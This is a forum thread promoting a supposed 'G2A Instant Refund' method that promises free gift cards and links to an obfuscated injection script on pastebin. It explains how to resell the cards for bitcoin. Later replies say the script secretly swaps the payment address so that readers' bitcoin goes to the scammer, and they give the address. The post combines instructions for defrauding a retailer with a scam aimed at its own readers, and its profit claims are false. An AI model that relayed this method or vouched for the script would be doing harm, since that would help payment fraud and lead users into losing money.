Thread: [Get FREE Gift cards! 500\\$+/DAY with this method \(WITH PROOF\)](#)

nick pick - October 26, 2023, 12:30 pm

The G2A Instant Refund method allows you to get any product from <https://www.g2a.com/> completely for free.

So I bought this method from a private seller for about 300\$ which I have been using for about 2 months, it's a wonderful method so I thought why not share it with you guys?

Things that you will need to know:

You might need VPN to USA - because otherwise, g2a might block your account.

To make this method work, you will need some Bitcoin (because you will have to send a payment for these products, which will be returned to your wallet instantly after making a purchase - this is how this exploit works.)

Many people are using this method just to get free games from G2A when the best thing to do is to purchase Steam Giftcards instead.

Steam Giftcards can be easily sold for Bitcoin on paxful.com for example.

So now you have Steam Giftcards worth \$3500. Now what you need to do, is go to

paxful.com

And sell your gift cards for real money. As you can see, for a \$100 Steam Gift card, you will get \$62.5 BTC.

So if you buy \$500 worth of Steam Giftcards, 7 times per day with the G2A Instant Refund exploit, you can make ~\$2200 BTC.

Of course you can go for smaller amounts if you are scared that your BTC won't be refunded or something, but so far I haven't experienced any issues.

[How this works]

The browser is shifted in another timezone and G2A takes that you sent the payment but does not verify it. Bitbay gives an error AFTER you got your key so your money is refunded instantly.

UPDATED SCRIPT OCTOBER 20 2023 <https://pastebin.com/raw/Zu4a50bs>

Gift cards I bought and resold paxful:

thenotoriousone - October 26, 2023, 12:43 pm
vouched!!

thanks for free ps5 lol I was able to get free amazon gift card with a quick refund! i was skeptical at the beginning but it is working.

erkazzi - October 26, 2023, 2:31 pm
this was shared long time ago, not working anymore

I'm sure it's gotten patched by now, this exploit was around a while now

Jebus - October 28, 2023, 5:39 am
I'm almost sure that this is a scam and should be removed from the forum...

What the script do is just replace the bitpay address to the scammer address, so you basically sending money to the scammer address instead of Bitpay and you will receive nothing in return...

the code that gets injected is also obfuscated so you can't read it properly, very sus...

This is the address that is used to send the money to:
bc1qft2defd0p0ss7zmvqxu5sxfj9457dqpa9gjjw40

which has 2 transactions only.

I would not try.

which has 2 transactions only.

I would not try. Exactly,

Plus if this was an exploit where people were getting thousands and thousands of dollars per day I'd assume the company would patch it, and asap. It might have worked at the beginning. But this new "script" is probably going to the scammers Bitcoin address....free money! Hah

HMDTU - *October 30, 2023, 6:09 am*

I really appreciate. Thank you.
